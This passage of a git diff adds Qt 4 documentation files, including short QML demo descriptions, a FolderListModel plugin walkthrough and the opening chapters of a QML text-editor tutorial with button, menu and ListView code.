+\example declarative/cppextensions/referenceexamples/attached
+\title Extending QML - Attached Properties Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Grouped Properties Example}
+\o \l {Extending QML - Default Property Example}
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/signal
+\title Extending QML - Signal Support Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Attached Properties Example}
+\o \l {Extending QML - Grouped Properties Example}
+\o \l {Extending QML - Default Property Example}
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/methods
+\title Extending QML - Methods Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Default Property Example}
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/valuesource
+\title Extending QML - Property Value Source Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Signal Support Example}
+\o \l {Extending QML - Attached Properties Example}
+\o \l {Extending QML - Grouped Properties Example}
+\o \l {Extending QML - Default Property Example}
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/binding
+\title Extending QML - Binding Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Property Value Source Example}
+\o \l {Extending QML - Signal Support Example}
+\o \l {Extending QML - Attached Properties Example}
+\o \l {Extending QML - Grouped Properties Example}
+\o \l {Extending QML - Default Property Example}
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+*/
diff --git a/doc/src/examples/qml-flickr.qdoc b/doc/src/examples/qml-flickr.qdoc
new file mode 100644
index 00000000..626a37bf
--- /dev/null
+++ b/doc/src/examples/qml-flickr.qdoc
@@ -0,0 +1,37 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Flickr Mobile
+ \example demos/declarative/flickr
+
+ \brief The Qt Quick Flickr Mobile demo shows how to write a mobile Flickr browser application in QML.
+
+ \depends helper/qmlapplicationviewer
+
+ \image qml-flickr-demo.png
+*/
diff --git a/doc/src/examples/qml-folderlistmodel.qdoc b/doc/src/examples/qml-folderlistmodel.qdoc
new file mode 100644
index 00000000..045502ab
--- /dev/null
+++ b/doc/src/examples/qml-folderlistmodel.qdoc
@@ -0,0 +1,138 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+
+\title FolderListModel - a C++ model plugin
+\example src/imports/folderlistmodel
+\depends helper/qmlapplicationviewer
+
+\brief The FolderListModel plugin example shows how to make a C++ model available to QML.
+
+It presents
+a simple file list for a single folder (directory) and allows the presented
+folder to be changed.
+
+\image declarative-folderlistmodel.png The FolderListModel used to choose a QML file
+
+We do not explain the model implementation in detail, but rather focus on the mechanics of
+making the model available to QML.
+
+\section1 Usage from QML
+
+The FolderListModel can be used from QML like this:
+
+\snippet doc/src/snippets/declarative/folderlistmodel.qml 0
+
+This displays a list of all subfolders and QML files in the current folder.
+
+The FolderListModel \c folder property can be set to change the folder that
+is currently displayed.
+
+\section1 Defining the Model
+
+We are subclassing QAbstractListModel which will allow us to give data to QML and
+send notifications when the data changes:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h class begin
+
+As you see, we also inherit the QDeclarativeParserStatus interface, so that we
+can delay initial processing until we have all properties set (via componentComplete() below).
+
+The first thing to do when devising a new type for QML is to define the properties
+you want the type to have:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h class props
+
+The purposes of each of these should be pretty obvious - in QML we will set the folder
+to display (a file: URL), and the kinds of files we want to show in the view of the model.
+
+Next are the constructor, destructor, and standard QAbstractListModel subclassing requirements:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h abslistmodel
+
+The data() function is where we provide model values. The rowCount() function
+is also a standard part of the QAbstractListModel interface, but we also want to provide
+a simpler count property:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h count
+
+Then we have the functions for the remaining properties which we defined above:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h prop funcs
+
+Imperative actions upon the model are made available to QML via a Q_INVOKABLE tag on
+a normal member function. The isFolder(index) function says whether the value at \e index
+is a folder:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h isfolder
+
+Then we have the QDeclarativeParserStatus interface:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h parserstatus
+
+Then the NOTIFY function for the folders property. The implementation will emit this
+when the folder property is changed.
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h notifier
+
+The class ends with some implementation details:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h class end
+
+Lastly, the boilerplare to declare the type for QML use:
+
+\snippet src/imports/folderlistmodel/qdeclarativefolderlistmodel.h qml decl
+
+\section1 Connecting the Model to QML
+
+To make this class available to QML, we only need to make a simple subclass of QDeclarativeExtensionPlugin:
+
+\snippet src/imports/folderlistmodel/plugin.cpp class decl
+
+and then use the standard Qt plugin export macro:
+
+\snippet src/imports/folderlistmodel/plugin.cpp plugin export decl
+
+Finally, in order for QML to connect the "import" statement to our plugin, we list it in the qmldir file:
+
+\l{src/imports/folderlistmodel/qmldir}
+
+This qmldir file and the compiled plugin will be installed in \c $QTDIR/imports/Qt/labs/folderlistmodel/ where
+the QML engine will find it (since \c $QTDIR/imports is the value of QLibraryInf::libraryPath()).
+
+\section1 Implementing the Model
+
+We'll not discuss the model implementation in detail, as it is not specific to QML - any Qt C++ model
+can be interfaced to QML.
+This implementation is basically just takes the krufty old QDirModel,
+which is a tree with lots of detailed roles and re-presents it as a simpler list model where
+each item is just a fileName and a filePath (as a file: URL rather than a plain file, since QML
+works with URLs for all content).
+
+\l{src/imports/folderlistmodel/qdeclarativefolderlistmodel.cpp}
+*/
diff --git a/doc/src/examples/qml-minehunt.qdoc b/doc/src/examples/qml-minehunt.qdoc
new file mode 100644
index 00000000..4698a292
--- /dev/null
+++ b/doc/src/examples/qml-minehunt.qdoc
@@ -0,0 +1,37 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Minehunt
+ \example demos/declarative/minehunt
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Minehunt demo shows how to create a simple Minehunt game, using QML for the
+ UI and C++ for the game logic.
+
+ \image qml-minehunt-demo.png
+*/
diff --git a/doc/src/examples/qml-photoviewer.qdoc b/doc/src/examples/qml-photoviewer.qdoc
new file mode 100644
index 00000000..697b5598
--- /dev/null
+++ b/doc/src/examples/qml-photoviewer.qdoc
@@ -0,0 +1,36 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Photo Viewer
+ \example demos/declarative/photoviewer
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Photo Viewer demo shows how to write a Flickr photo viewer application in QML.
+
+ \image qml-photoviewer-demo.png
+*/
diff --git a/doc/src/examples/qml-rssnews.qdoc b/doc/src/examples/qml-rssnews.qdoc
new file mode 100644
index 00000000..5b82526a
--- /dev/null
+++ b/doc/src/examples/qml-rssnews.qdoc
@@ -0,0 +1,36 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title RSS News
+ \example demos/declarative/rssnews
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick RSS News demo shows how to write a RSS news reader in QML.
+
+ \image qml-rssnews-demo.png
+*/
diff --git a/doc/src/examples/qml-samegame.qdoc b/doc/src/examples/qml-samegame.qdoc
new file mode 100644
index 00000000..46a168b3
--- /dev/null
+++ b/doc/src/examples/qml-samegame.qdoc
@@ -0,0 +1,37 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Same Game
+ \example demos/declarative/samegame
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Same Game demo shows how to write a 'Same Game' game in QML, using Javascript
+ for all the game logic.
+
+ \image qml-samegame-demo.png
+*/
diff --git a/doc/src/examples/qml-snake.qdoc b/doc/src/examples/qml-snake.qdoc
new file mode 100644
index 00000000..b312eb55
--- /dev/null
+++ b/doc/src/examples/qml-snake.qdoc
@@ -0,0 +1,37 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Snake
+ \example demos/declarative/snake
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Snake demo shows how to write a Snake game in QML, controlled by the
+ keyboard as well as the mouse.
+
+ \image qml-snake-demo.png
+*/
diff --git a/doc/src/examples/qml-twitter.qdoc b/doc/src/examples/qml-twitter.qdoc
new file mode 100644
index 00000000..1b63f592
--- /dev/null
+++ b/doc/src/examples/qml-twitter.qdoc
@@ -0,0 +1,37 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Twitter Mobile
+ \example demos/declarative/twitter
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Twitter Mobile demo shows how to write a mobile Twitter search client in QML.
+ Use it to see what people think about Qt Quick!
+
+ \image qml-twitter-demo.png
+*/
diff --git a/doc/src/examples/qml-webbrowser.qdoc b/doc/src/examples/qml-webbrowser.qdoc
new file mode 100644
index 00000000..96d59efa
--- /dev/null
+++ b/doc/src/examples/qml-webbrowser.qdoc
@@ -0,0 +1,39 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Qt Quick Web Browser
+ \example demos/declarative/webbrowser
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Web Browser demo shows how to write a simple web browser in QML by combining the
+ WebView element with other components including scroll bars,
+ \l Flickable views and TextInput fields.
+
+ \image qml-webbrowser-demo.png
+*/
+
diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc
new file mode 100644
index 00000000..e800c72c
--- /dev/null
+++ b/doc/src/getting-started/gettingstartedqml.qdoc
@@ -0,0 +1,1023 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page gettingstartedqml.html
+ \title Getting Started Programming with QML
+ \ingroup gettingStarted
+
+ Welcome to the world of QML, the declarative UI language. In this Getting
+ Started guide, we will create a simple text editor application using QML.
+ After reading this guide, you should be ready to develop your own applications
+ using QML and Qt C++.
+
+ \section1 Installation
+
+ First, we would need to install the latest version of Qt that includes \l{Qt
+ Quick}, which is Qt 4.7. The \l{Installation} {installation} guide contains
+ installation instructions and requirements for different platforms.
+
+ Qt Quick includes a declarative language called
+ \l{Introduction to the QML language}{QML}, the \l{Qt Declarative Module}, and
+ \l{QML Viewer}.
+
+ \section1 QML to Build User Interfaces
+
+ The application we are building is a simple text editor that will load, save,
+ and perform some text manipulation. This guide will consist of two parts. The
+ first part will involve designing the application layout and behaviors using
+ declarative language in QML. For the second part, file loading and saving will
+ be implemented using Qt C++. Using
+ \l {The Meta-Object System}{Qt's Meta-Object System}, we can expose C++ functions
+ as properties that QML elements can use. Utilizing QML and Qt C++, we can
+ efficiently decouple the interface logic from the application logic.
+
+ \image qml-texteditor5_editmenu.png
+
+ The final source code is in the \c{examples/tutorials/gettingStarted/gsQml}
+ directory. You may need to compile the C++ plugin in the
+ \c{examples/tutorials/gettingStarted/gsQml/} first. This will put the
+ C++ plugin in a directory where the QML files may find it.
+
+ To launch the text editor, merely provide the included \l{QML Viewer}{qmlviewer}
+ tool with the QML file as the argument. The C++ portion of this tutorial assumes
+ that the reader possesses basic knowledge of Qt's compilation procedures.
+
+ Tutorial chapters:
+ \list 1
+ \o \l {Defining a Button and a Menu}{Defining a Button and a Menu}
+ \o \l {Implementing a Menu Bar}{Implementing a Menu Bar}
+ \o \l {Building a Text Editor}{Building a Text Editor}
+ \o \l {Decorating the Text Editor}{Decorating the Text Editor}
+ \o \l {Extending QML using Qt C++}{Extending QML using Qt C++}
+ \endlist
+
+ \section1 Defining a Button and a Menu
+
+ \section2 Basic Component - a Button
+
+ We start our text editor by building a button. Functionally, a button has a mouse
+ sensitive area and a label. Buttons perform actions when a user presses the button.
+
+ In QML, the basic visual item is the \l {Rectangle}{Rectangle} element. The
+ \c Rectangle element has properties to control the element's appearance and location.
+
+ \snippet examples/tutorials/gettingStarted/gsQml/parts/part0/Button.qml document
+
+ First, the \c { import QtQuick 1.0 } allows the qmlviewer tool to import the QML elements
+ we will later use. This line must exist for every QML file. Notice that the version
+ of Qt modules is included in the import statement.
+
+ This simple rectangle has a unique identifier, \c simplebutton, which is bound to the
+ id property. The \c Rectangle element's properties are bound to values by listing the
+ property, followed by a colon, then the value. In the code sample, the color \c grey
+ is bound to the the Rectangle's \c color property. Similarly, we bind the \c width
+ and \c height of the Rectangle.
+
+ The \l {Text}{Text} element is a non-editable text field. We name this \c Text element
+ \c buttonLabel. To set the string content of the Text field, we bind a value to the
+ \c text property. The label is contained within the Rectangle and in order to center
+ it in the middle, we assign the \c anchors of the Text element to its parent, which
+ is called \c simplebutton. Anchors may bind to other items' anchors, allowing layout
+ assignments simpler.
+
+ We shall save this code as \c SimpleButton.qml. Running qmlviewer with the file as the
+ argument will display the grey rectangle with a text label.
+
+ \image qml-texteditor1_simplebutton.png
+
+ To implement the button click functionality, we can use QML's event handling. QML's event
+ handling is very similar to \l {Signals & Slots}{Qt's signal and slot} mechanism. Signals
+ are emitted and the connected slot is called.
+
+ \code
+ Rectangle{
+ id:simplebutton
+ ...
+
+ MouseArea{
+ id: buttonMouseArea
+
+ anchors.fill: parent //anchor all sides of the mouse area to the rectangle's anchors
+ //onClicked handles valid mouse button clicks
+ onClicked: console.log(buttonLabel.text + " clicked" )
+ }
+ }
+ \endcode
+
+ We include a \l{MouseArea} element in our simplebutton. \c MouseArea elements describe
+ the interactive area where mouse movements are detected. For our button, we anchor the
+ whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is
+ one way of accessing a specific property called \c fill inside a group of properties
+ called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where
+ items can anchor to another item, creating robust layouts.
+
+ The \c MouseArea has many signal handlers that are called during mouse movements within
+ the specified \c MouseArea boundaries. One of them is \c onClicked and it is called
+ whenever the acceptable mouse button is clicked, the left click being the default. We
+ can bind actions to the onClicked handler. In our example, \c console.log() outputs text
+ whenever the mouse area is clicked. The function \c console.log() is a useful tool for
+ debugging purposes and for outputting text.
+
+ The code in \c SimpleButton.qml is sufficient to display a button on the screen and
+ output text whenever it is clicked with a mouse.
+
+ \code
+ Rectangle {
+ id: button
+ ...
+
+ property color buttonColor: "lightblue"
+ property color onHoverColor: "gold"
+ property color borderColor: "white"
+
+ signal buttonClick()
+ onButtonClick: {
+ console.log(buttonLabel.text + " clicked" )
+ }
+
+ MouseArea{
+ onClicked: buttonClick()
+ hoverEnabled: true
+ onEntered: parent.border.color = onHoverColor
+ onExited: parent.border.color = borderColor
+ }
+
+ //determines the color of the button by using the conditional operator
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+ }
+ \endcode
+
+ A fully functioning button is in \c Button.qml. The code snippets in this article
+ have some code omitted, denoted by ellipses because they were either introduced
+ earlier in the previous sections or irrelevant to the current code discussion.
+
+ Custom properties are declared using the \c {property type name} syntax. In the
+ code, the property \c buttonColor, of type \c color, is declared and bound to
+ the value \c{"lightblue"}. The \c buttonColor is later used in a conditional
+ operation to determine the buttons's fill color. Note that property value
+ assignment is possible using the \c= equals sign, in addition to value binding
+ using the \c : colon character. Custom properties allow internal items to be
+ accessible outside of the Rectangle's scope. There are basic
+ \l{QML Basic Types}{QML types} such as \c int, \c string, \c real, as well as
+ a type called \c variant.
+
+ By binding the \c onEntered and \c onExited signal handlers to colors, the
+ button's border will turn yellow when the mouse hovers above the button and
+ reverts the color when the mouse exits the mouse area.
+
+ A \c buttonClick() signal is declared in \c Button.qml by placing the \c signal
+ keyword in front of the signal name. All signals have their handlers automatically
+ created, their names starting with \c on. As a result, the \c onButtonClick is
+ \c buttonClick's handler. The \c onButtonClick is then assigned an action to
+ perform. In our button example, the \c onClicked mouse handler will simply call
+ \c onButtonClick, which displays a text. The \c onButtonClick enables outside
+ objects to access the \c {Button}'s mouse area easily. For example, items may
+ have more than one \c MouseArea declarations and a \c buttonClick signal can
+ make the distinction between the several \c MouseArea signal handlers better.
+
+ We now have the basic knowledge to implement items in QML that can handle
+ basic mouse movements. We created a \c Text label inside a \c Rectangle,
+ customized its properties, and implemented behaviors that respond to mouse
+ movements. This idea of creating elements within elements is repeated
+ throughout the text editor application.
+
+ This button is not useful unless used as a component to perform an action.
+ In the next section, we will soon create a menu containing several of these
+ buttons.
+
+ \image qml-texteditor1_button.png
+
+ \section2 Creating a Menu Page
+
+ Up to this stage, we covered how to create elements and assign behaviors inside
+ a single QML file. In this section, we will cover how to import QML elements and how
+ to reuse some of the created components to build other components.
+
+ Menus display the contents of a list, each item having the ability to perform an action.
+ In QML, we can create a menu in several ways. First, we will create a menu containing
+ buttons which will eventually perform different actions. The menu code is in
+ \c FileMenu.qml.
+
+ \code
+ import QtQuick 1.0 \\import the main Qt QML module
+ import "folderName" \\import the contents of the folder
+ import "script.js" as Script \\import a Javascript file and name it as Script
+ \endcode
+
+ The syntax shown above shows how to use the \c import keyword. This is required to
+ use JavaScript files, or QML files that are not within the same directory. Since
+ \c Button.qml is in the same directory as \c FileMenu.qml, we do not need to import
+ the \c Button.qml file to use it. We can directly create a \c Button element by declaring
+ \c Button{}, similar to a \c Rectangle{} declaration.
+
+ \code
+ In FileMenu.qml:
+
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Load"
+ }
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Save"
+ }
+ Button{
+ id: exitButton
+ label: "Exit"
+ buttonColor: "darkgrey"
+
+ onButtonClick: Qt.quit()
+ }
+ }
+ \endcode
+
+ In \c FileMenu.qml, we declare three \c Button elements. They are declared
+ inside a \l {Row}{Row} element, a positioner that will position its children
+ along a vertical row. The \c Button declaration resides in Button.qml,
+ which is the same as the \c Button.qml we used in the previous section.
+ New property bindings can be declared within the newly created buttons,
+ effectively overwriting the properties set in \c Button.qml. The button
+ called \c exitButton will quit and close the window when it is clicked.
+ Note that the signal handler \c onButtonClick in \c Button.qml will be
+ called in addition to the \c onButtonClick handler in \c exitButton.
+
+ \image qml-texteditor1_filemenu.png
+
+ The \c Row declaration is declared in a \c Rectangle, creating a rectangle
+ container for the row of buttons. This additional rectangle creates an indirect
+ way of organizing the row of buttons inside a menu.
+
+ The declaration of the edit menu is very similar at this stage. The menu has
+ buttons that have the labels: \c Copy, \c Paste, and \c {Select All}.
+
+ \image qml-texteditor1_editmenu.png
+
+ Armed with our knowledge of importing and customizing previously made
+ components, we may now combine these menu pages to create a menu bar,
+ consisting of buttons to select the menu, and look at how we may structure
+ data using QML.
+
+ \section1 Implementing a Menu Bar
+
+ Our text editor application will need a way to display menus using a menu bar.
+ The menu bar will switch the different menus and the user can choose which menu
+ to display. Menu switching implies that the menus need more structure than
+ merely displaying them in a row. QML uses models and views to structure data
+ and display the structured data.
+
+ \section2 Using Data Models and Views
+
+ QML has different \l{QML Data Models}{data views} that display
+ \l{QML Data Models}{data models}. Our menu bar will display the menus in a list,
+ with a header that displays a row of menu names. The list of menus are declared
+ inside a \c VisualItemModel. The \l{VisualItemModel}{\c VisualItemModel}
+ element contains items that already have views such as \c Rectangle elements
+ and imported UI elements. Other model types such as the \l{ListModel}{\c ListModel}
+ element need a delegate to display their data.
+
+ We declare two visual items in the \c menuListModel, the \c FileMenu and the
+ \c EditMenu. We customize the two menus and display them using a
+ \l {ListView}{ListView}. The \c MenuBar.qml file contains the QML declarations
+ and a simple edit menu is defined in \c EditMenu.qml.
+
+ \code
+ VisualItemModel{
+ id: menuListModel
+ FileMenu{
+ width: menuListView.width
+ height: menuBar.height
+ color: fileColor
+ }
+ EditMenu{
+ color: editColor
+ width: menuListView.width
+ height: menuBar.height
+ }
+ }
+ \endcode
+
+ The \l {ListView}{ListView} element will display a model according to a delegate.
+ The delegate may declare the model items to display in a \c Row element or display
+ the items in a grid. Our \c menuListModel already has visible items, therefore,
+ we do not need to declare a delegate.
+
+ \code
+ ListView{
+ id: menuListView
+
+ //Anchors are set to react to window anchors
+ anchors.fill:parent
+ anchors.bottom: parent.bottom
+ width:parent.width
+ height: parent.height
+
+ //the model contains the data
+ model: menuListModel
+
+ //control the movement of the menu switching
+ snapMode: ListView.SnapOneItem
+ orientation: ListView.Horizontal
+ boundsBehavior: Flickable.StopAtBounds
+ flickDeceleration: 5000
+ highlightFollowsCurrentItem: true
+ highlightMoveDuration:240
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+ \endcode
+
+ Additionally, \c ListView inherits from \l{Flickable}{\c Flickable}, making
+ the list respond to mouse drags and other gestures. The last portion of the
+ code above sets \c Flickable properties to create the desired flicking movement
+ to our view. In particular,the property \c highlightMoveDuration changes the
+ duration of the flick transition. A higher \c highlightMoveDuration value
+ results in slower menu switching.
+
+ The \c ListView maintains the model items through an \c index and each visual
+ item in the model is accessible through the \c index, in the order of the
+ declaration. Changing the \c currentIndex effectively changes the highlighted
+ item in the \c ListView. The header of our menu bar exemplify this effect.
+ There are two buttons in a row, both changing the current menu when clicked.
+ The \c fileButton changes the current menu to the file menu when clicked,
+ the \c index being \c 0 because \c FileMenu is declared first in the
+ \c menuListModel. Similarly, the \c editButton will change the current
+ menu to the \c EditMenu when clicked.
+
+ The \c labelList rectangle has \c z value of \c 1, denoting that it is displayed
+ at the front of the menu bar. Items with higher \c z values are displayed in front
+ of items with lower \c z values. The default \c z value is \c 0.
+
+ \code
+ Rectangle{
+ id: labelList
+ ...
+ z: 1
+ Row{
+ anchors.centerIn: parent
+ spacing:40
+ Button{
+ label: "File"
+ id: fileButton
+ ...
+ onButtonClick: menuListView.currentIndex = 0
+ }
+ Button{
+ id: editButton
+ label: "Edit"
+ ...
+ onButtonClick: menuListView.currentIndex = 1
+ }
+ }
+ }
+ \endcode
+
+ The menu bar we just created can be flicked to access the menus or by clicking
+ on the menu names at the top. Switching menu screens feel intuitive and responsive.
+
+ \image qml-texteditor2_menubar.png
+
+ \section1 Building a Text Editor
+
+ \section2 Declaring a TextArea
+
+ Our text editor is not a text editor if it didn't contain an editable text area.
+ QML's \l {TextEdit}{TextEdit} element allows the declaration of a multi-line
+ editable text area. \l {TextEdit}{TextEdit} is different from a \l {Text}{Text}
+ element, which doesn't allow the user to directly edit the text.
+
+ \code
+ TextEdit{
+ id: textEditor
+ anchors.fill:parent
+ width:parent.width; height:parent.height
+ color:"midnightblue"
+ focus: true
+
+ wrapMode: TextEdit.Wrap
+
+ onCursorRectangleChanged: flickArea.ensureVisible(cursorRectangle)
+ }
+ \endcode
+
+ The editor has its font color property set and set to wrap the text. The
+ \c TextEdit area is inside a flickable area that will scroll the text if the
+ text cursor is outside the visible area. The function \c ensureVisible() will
+ check if the cursor rectangle is outside the visible boundaries and move the
+ text area accordingly. QML uses Javascript syntax for its scripts, and as previously
+ mentioned, Javascript files can be imported and used within a QML file.
+
+ \code
+ function ensureVisible(r){
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
